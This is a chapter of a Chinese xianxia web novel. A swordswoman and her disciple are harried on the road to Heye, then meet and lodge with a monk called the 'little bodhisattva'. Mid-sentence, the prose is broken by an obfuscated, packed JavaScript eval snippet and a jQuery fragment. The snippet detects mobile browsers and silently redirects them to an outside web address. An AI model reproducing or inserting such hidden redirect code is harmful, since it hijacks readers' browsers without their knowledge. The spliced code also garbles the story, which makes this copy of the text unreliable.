夏末秋初,风已带了凉意。
谢羲和与陶云倦勒马驻足,眼前是一座孤零零的驿站。这样的驿站,在这样的时节,本该有温暖的烛光,热腾腾的饭菜,然而这里什么都没有。
驿站里只有两个伙计,食物简单粗糙,两块冷硬的饼,一碟咸菜,还有一碗加了几片菜叶的白水。
两人还是坐下了。
此处距河掖尚有两日路程,他们已连续奔走了三天三夜,接踵而至的袭杀,足以让最警觉的人也感到疲惫。
陶云倦的伤口还在隐隐作痛,他算是见识到了谢羲和口中修为暴涨的诡异身法,当真令人防不胜防。
谢羲和心中依然悬着一根弦,她并未感知到上次那般大巧不工的气息,仿佛幕后之人并不急于求成,只如阴影般缀行,无形施压。
若是独身一人,倒也就罢了。死便死了,只要仙身没有被严重破环,她就不必从奈何桥上多走一遭。
可如今,她身边还多了一个人。陶云倦本质上仍是凡人,会受伤,会死,血肉之躯,经不起几回折腾。但若是要他离去,他也必然是不肯的。
“他们是在耗我们。一波未平一波又起,不图致命,只为磨尽心神。”陶云倦拭去剑锋上的血渍,声音里带着一丝倦意,“后日就能到河掖了,进了城,他们就没机会了。”
他收剑入鞘,认真道:“那白衣人,至今仍未现身,师父,你需养精蓄锐,今夜我守着。”
驿馆那扇朽旧的木门忽地“吱呀”一响,自己开了。夜风趁机卷入,三两片枯叶打了几个旋,便躺在地上不动了。
二人对视一眼,为自己的大惊小怪、草木皆兵摇头失笑,还剑入鞘。
只是风而已,虚惊一场。
“轮流守夜,后半夜换我。”谢羲和不容置疑地说。
她沉吟片刻,又道:“张不疑至今音讯全无,我也联系不上他,此事非同寻常,也不知他那边是什么情况。”
陶云倦靠在门边,望着门外浓得化不开的夜色,低声道:“但愿他别是遇上比我们更棘手的事。”
这一夜,竟出乎意料地太平,而谢羲和不安更甚。这更像是暴雨前夕,空气沉闷压抑,四野无声。
翌日,二人填饱肚子,换了新马,再次启程。
不出半日,行至一片深密竹林,林间光线晦暗,竹影幢幢,静得异乎寻常,连惯常的鸟鸣虫嘶都消失了,唯有风吹竹叶的沙沙声。
二人勒紧缰绳,手无声地按上剑柄,凝神戒备。
就在此时,一阵疾风掠过,只见数片竹叶化作暗器,破空而来,直取陶云倦周身大穴,攻势凌厉,却巧妙地避开了他身旁的谢羲和。
陶云倦用剑格挡,飞身向竹叶飞来的地方掠去。不料那被挡开的竹叶被无形之力聚齐回转,宛若一朵怒放的青莲合拢花瓣,自四面八方绞杀而来,像是要将他吞没。
谢羲和眼中寒光一闪,向林中挥出一道凛冽剑气,直直斩向幽深竹林。翠竹应声而倒,噼里啪啦开出一条通路。
“他还是个凡人,难道少司命要以身试法吗?”
一叶禅能用到这般炉火纯青地步的,除了王瑞宜,谢羲和想不出第二个人来。
漫天竹叶骤然失了力道,在空中一软,纷纷扬扬飘落下来,像是下了一场碧色的雨。饶是如此,陶云倦的脸颊、衣袍之上,仍被划出数道刺目的血痕。
碧雨零落间,只见一僧人踏叶悬空,静立竹梢枝头。
“青莲未开禅心锁,叶雨零落见摩诃。”谢羲和低声默念。
这是她偶然听人说起这位迦蓝寺的小菩萨,旁人给出的判词。如今一看,果然名不虚传。
他双手结印如莲,似拈花未放。衣袂飘飘,气质温润如玉,目似垂帘,面若慈悲殿中的闭目神佛。
“蘅芜君。”他翩然落地,未惊起一粒尘土,“久违了。”
谢羲和脸色阴晴不定,剑身一振:“小菩萨,你来,又是为了什么呢?”
王瑞宜自是看出自己的不受欢迎,双掌合十道:“闻君路过此处,特来一会。”
这消息大概是青姑那边听说的。
谢羲和走至陶云倦身前,将他挡至身后:“会我一会,至于用上一叶禅伤我徒儿吗?”
王瑞宜没有一点伤了人的罪恶感:“此途凶险,我不过替你试他一试。”
陶云倦指腹抹去颊边滴落的血,目光骤冷,握紧霄练,但当目光落在立在身前的谢羲和身上,他便没有妄动。
王瑞宜平静地陈述道:“蘅芜君,你也当明白,陶施主行到此处已经够了。”
“你可是预见了什么?”谢羲和心中一紧。
作为守仙宫的少司命,迦蓝寺圣子,轮回道大成者,王瑞宜本该镇守永州,坐镇恶行狱。
弥殃剑主,负重祥以镇厄。这是他的使命。所以,谢羲和不信,他真的只是随意来此一会。
王瑞宜摇摇头,什么也没说,又好像什么都说了。他的目光落在陶云倦身上,好奇地、毫不遮掩地打量着他。
陶云倦看出他对谢羲和没有恶意,似乎真的如他所言,只是为了试探自己的修为。
他轻笑一声,漫不经心地将剑归鞘:“师父,前路虽险,我亦愿相随,生死何妨?难不成你真要赶我回去当个逃兵?”
他难道还能真的让谢羲和死在他面前不成?这可比自己身死还要难过许多……
突然,王瑞宜蓦地睁大双眼,低呼一声:“不好!”
谢羲和望向來路,百步之外有疾步声传来,来者二十余众,步伐稳健,吐纳绵长不乱,竟无半分遮掩行踪的意思。
心念电转间,谢羲和想通了其中关窍,拦住正欲翻身上马的王瑞宜,眯眼笑道:“小菩萨,莫非此番是你私自离寺?”
王瑞宜被她一语道破,面上不见窘迫,反而颇显无辜:“小僧留了书信,算不得私自离寺。”
“既然如此,便好说了。”谢羲和让开路,扬声道:“云倦,上马!”
陶云倦尚在迟疑,却见马上王瑞宜朝他灿烂一笑,露出一口整齐的白牙。
“……师父?”
谢羲和将他扔上马,反手用剑鞘一拍马臀,那马吃痛,长嘶一声,四蹄翻飞,绝尘而去。
“他不会骑马,你带他先走一步!”
陶云倦回头望去,只见谢羲和负手而立,青衫随风飘动,二十余名武僧的身影已经出现在道路的尽头。
“——别看啦!我那些师兄师弟还没本事伤得了蘅芜君。兴许再过一会儿就到了。”王瑞宜热情地招呼站在门口的陶云倦,“陶施主,坐下等吧。”
陶云倦想了想,依言坐下:“小菩萨,你与我师父是齐名的人物,又怎需我师父去拦?”
王瑞宜并不避讳,倒了杯茶水递给他,笑道:“擅离职守,本就是我的私心,若是动了手,失了分寸,坏了规矩,性质就变啦。”
陶云倦接过茶水,放在桌上没喝,重复道:“私心?”
王瑞宜却是不打算继续说了,正巧店小二上前,满脸堆笑:“二位客官,用些什么?”
“可有什么拿手招牌菜?”王瑞宜问,又补充道:“荤的。”
小二一愣,但见和尚身边的人,似乎明白过来。他一口气报了十几样菜名,王瑞宜挑了四样,还再斟酌的样子。
陶云倦提醒道:“小菩萨,你不点两道素食么?这些荤腥,我与师父怕是吃不完。”
王瑞宜灿烂一笑,陶云倦总觉得他笑得有点假,只听他一本正经道:“加上小僧,便吃得完了”
陶云倦诧异挑眉,王瑞宜看出他的困惑,好心解释道:“王瑞宜可以是小菩萨,小菩萨却不是王瑞宜。”
陶云倦心下一动,转杯子的手一顿,这话粗略来看,并不难理解。
王瑞宜先是他自己,然后才是守仙宫的少司命。在轮回转世中,他的灵魂历经淬炼,每一世,都如蝉蜕一般,成为新的“王瑞宜”。他虽屡次在迦蓝寺修行,但并不意味着他一定是迦蓝寺所期待的“小菩萨”,做那个连法名也不曾留下过的圣子。
令陶云倦咀嚼的,是这话背后关乎轮回之道的禅机。
世人皆知,人故去后,三魂各归其所。
人魂常驻坟茔或宗祠,受后人香火供奉,随时间流转渐渐消散。它与肉身绑定,不入轮回。
天魂归于天地,不朽不灭,最近天道,将重化万物,亦可能成为新生命的组成部分。
而地魂,亦即平常所说的“灵魂”,承载着人魂所有的业力与记忆,如一枚种子般投入轮回,等待着破土而出的那一日。
谢羲和在他初初入道时的话语蓦然回响于耳边:“云倦,你可曾想过自己究竟为何而修行?”
为了力量?可是人外有人,天外飞仙,力亦有穷时。
为了长生?长生未必不死,若是没有找到自己愿意存活下去的理由,不死也只是一种诅咒而已。
轮回之于凡人,未尝不是一种庇护。抹去前尘,重入红尘,正因生命短暂,反而令人更易看清此生应行之路,应尽之责。
陶云倦踏入仙途,缘起于谢羲和在百日宴上的一句戏言。他天生聪慧,根骨绝佳,是万中无一的修道奇材。他少年时也自恃天资绝世,若是在凡尘打滚,混沌一生,岂不是白白辜负了一身天分?
可如今褪去少年时对修行不切实际的幻想,若谢羲和再度相问,他心中已有了新的答案:人总是惧怕不确定性的。
人恐惧未知,恐惧重新开始,害怕再次陷入不知从何而来、不知为何而生、不知向何而去的茫然境地。
即使知道死亡不是终点,但他们的意识告诉自己,若是没有了今生的身份、记忆与羁绊,那么轮回之后一张白纸的自己,就成了旁人。
修仙问道,未必能得不死,但能有机会争得一个选择的权利,决定自己以何种“我”的姿态,开始新的一生。
这,便是无数人追寻大道的缘由,是陶云倦的答案之一,也是王瑞宜这句话的言下之意。
王瑞宜可以选择成为“小菩萨”,小菩萨却约束不了王瑞宜。
“你这话若叫境尘大师听见,怕是要气得罚你面壁三年。”正当他心潮起伏之际,门外传来谢羲和略带调侃的声音,话音未落,人已翩然入座。
“饭可以不吃,话却要说清楚。”谢羲和将龙泉剑往桌上一放,看向王瑞宜道:“别告诉我,你有叛逆期这种鬼话。”
王瑞宜刚张开的嘴闭上了,差点脱口而出的话又咽了下去。
“无话可说?”谢羲和挑眉问。
“话无可说。”王瑞宜无奈答。
“也罢,我向来不喜强人所难。”谢羲和拉着陶云倦起身,“道不同不相与谋,这一桌饭菜我师徒二人怕是无福消受。云倦,我们换一桌。”她转头招呼:“小二哥,劳烦这边重新点菜。”
“且慢。”王瑞宜扯住谢羲和的衣袖,不复调笑之意,神情严肃许多。
笑话!若是他因为没钱平账,吃霸王餐被赶出门,谢羲和再接机宣扬一番,不单他如今的师父不会饶他,他怕是要成为整个仙门的笑柄。
“蘅芜君,我出现在此处,你应当也有所预感。此世之劫,与你息息相关。非是我不愿坦言,实则我也身在局中,所知未必比你更多。”
他目光复杂,好似参杂了些什么情绪,谢羲和看不懂,只是直觉这种情绪不应该出现在王瑞宜身上。
只听他继续道:“何况,你难道忘了方才决定相助于我的缘由?”
谢羲和静了一瞬,短促地笑了声:“好啊。那就当我日行一善,送佛送到西呗。”
陶云倦握剑的手微微收紧。他心知肚明,谢羲和之所以留下王瑞宜,全是因为自己的“任性”。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409425|184480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也算是仙门年轻一辈中的翘楚,若论资质修为,也称得上算是天之骄子。可是,每当置身于谢羲和的那些故交旧友之间,便如萤火之于皓月,黯然失色。
那些人看他的眼神好像他只是谢羲和身边一个无足轻重的影子,隔着漫长岁月中不值一提的存在。
如今谢羲和身边险象迭生,以他这般修为,在他们眼中,只怕早已被视作她的拖累。
他与她、与他们,横亘着数百年的光阴。那是云泥之别,是仙凡之隔,是不登仙境便无法逾越的万仞高山。
可若要他就此退却,他不甘心,也绝不能。
他的决心谢羲和领会了,那么谢羲和的好意他也不能辜负,所以——
“——所以,你们两今晚住一间房吧!”谢羲和一锤定音道。
他们又行了一段路,路上遇见过一次袭击,但有了王瑞宜的加入,应对起来轻松不少。昨晚风平浪静,也要多亏了王瑞宜清理不少追兵,这才得以睡了个好觉。
王瑞宜明明是个和尚,反而过分讲究了些,他面露赧然:“既有驿站可住,何必再露宿荒郊野外?小僧这件法袍虽不易染尘,终究是单薄了些。”
于是,三人找了间驿站住下。奈何这驿站人多房少,只剩两间空房,这才有了谢羲和之前那句话。
谢羲和一句话,就让陶云倦与王瑞宜大眼瞪小眼。陶云倦直接别开脸,下颌线绷得紧紧的,抗拒之意写在脸上。王瑞宜虽还维持着表面的平和,假笑还是僵了几分。
谢羲和却不管这些,横竖她独占一室,转身便悠哉游哉往自己房中走去。
王瑞宜见状,快步跟上:“蘅芜君留步,小僧尚有一事想要请教。”
陶云倦亦紧随其后。于是三人前后脚进了谢羲和的房间。
陶云倦给三人倒好了茶,王瑞宜道了声谢,开口道:“不知寤生剑,可有什么不为人知的玄妙之处?”
谢羲和喝了口茶,语气淡然:“若说割喉格外利落,算不算?剑身极美,月光流转,自带阴寒之气,又算不算?”
王瑞宜摇头:“弥殃为轮回之剑,寤生亦是仙骨所化,断不会仅止于此。”
陶云倦似被点醒,接口问道:“师父,死于寤生剑下之人,可有什么异状?”
谢羲和先看向王瑞宜:“你所知的弥殃轮回之说,本也是出自我口。所以,”她转向陶云倦,“我不知道。总不能让那些死于我剑下的亡魂,从地府爬出来,亲口告诉我,他们死于寤生剑下作何感想吧?”
王瑞宜和陶云倦语塞。话是这个道理,可听谢羲和的回答,怎么总觉得他们问的是傻话,被她明晃晃地嫌弃了呢?
三人又聊了一会儿,谢羲和就开始赶人了。
哪怕再不情愿,陶云倦和王瑞宜还是进了同一间房。
陶云倦开门,目光一扫,便落在了房内唯一一张不算宽敞的床榻上。
他眉头锁紧,不假思索地走向窗边那张硬木短榻,语气生硬:“小菩萨,你睡床,我睡这里。”
王瑞宜的目光轻飘飘地扫过那张明显睡不舒服的短榻,陶云倦若睡上去,怕是只能蜷缩成一团。
他目光又落回陶云倦紧绷的侧脸上,并未出言反对,只抬手拂了拂床褥,语气依旧温和:“陶施主自便。”
“只是夜间风凉,若染了风寒,耽误了行程,蘅芜君怕是要心疼了。”倒是没有再劝,径自于床榻上盘膝坐下,闭目养神。
烛光颤颤巍巍地摇晃着,不知是因为身体舒展不开,还是屋里多了一个陌生人,陶云倦在短榻上辗转反侧,难以入眠。
他侧身望去,却见王瑞宜也并未入睡,正静静望着他,目光沉静深邃,,情绪难辨,不知在想什么。
“小菩萨,你也睡不着?”
王瑞宜似被这一声惊醒,微微一怔:“嗯?”
陶云倦觉得有些好笑,提议道:“既然都无睡意,不如说说话?”
王瑞宜沉吟片刻,道:“你问。”
“你与我师父,是如何相识的?”
“……”王瑞宜闭上了眼,呼吸轻缓均匀,恍若瞬间入定。
“我瞧见你方才眯眼了,”陶云倦存心要戳破他,不知为何,他就是看这小菩萨不顺眼,“别装睡。”
小菩萨叹气:“陶施主,你师父没有教过你,如果旁人装睡或转移话题,你就该适时缄口么?”
“没有。”陶云倦在谢羲和面前一向善解人意,哪里用得着提醒?
“那你现在知道了。”
陶云倦却不肯罢休,故意追问道:“莫非是你做过什么亏心事,不便提起?”
光影明灭间,小菩萨依旧面若慈悲,双目轻阖,唇瓣微动,似在默诵经文。
在陶云倦以为他不会回应时,只听王瑞宜声音温驯有礼的声音响起,说出的话却让他胆战心惊:“她救过我,我杀过她。此之谓生死之交。”
他轻声反问道:“陶施主,你对这个答案可还满意?”
烛火猛地一晃,仿佛被这话语中的寒意吓得一哆嗦。屋内,两道影子投在墙上,一道抱剑倚窗,一道静坐诵经,泾渭分明,互不相干。
陶云倦心中惊疑不定,一时难以分辨此言是真是假。可转念一想,以谢羲和的性子,若真有过这等恩怨,断不会如今日这般心平气和,甚至还好酒好菜地招待。
他心下暗道:“话不投机半句多。与这等心思曲折、表里不一之人同处一室,简直是煎熬。”
王瑞宜的清心咒又不知念到哪儿了,心想:“执念过甚。谢羲和身边留着这么一个人,终究是隐患。”
两人再无言语。烛芯燃尽,火苗挣扎着跳动了一下,随即熄灭,屋内彻底陷入了黑暗。
在这满室寂静中,他们在同一种不情愿上达成了诡异的共识,结论都无比清晰且坚定。
“我与此人,绝非同路人。”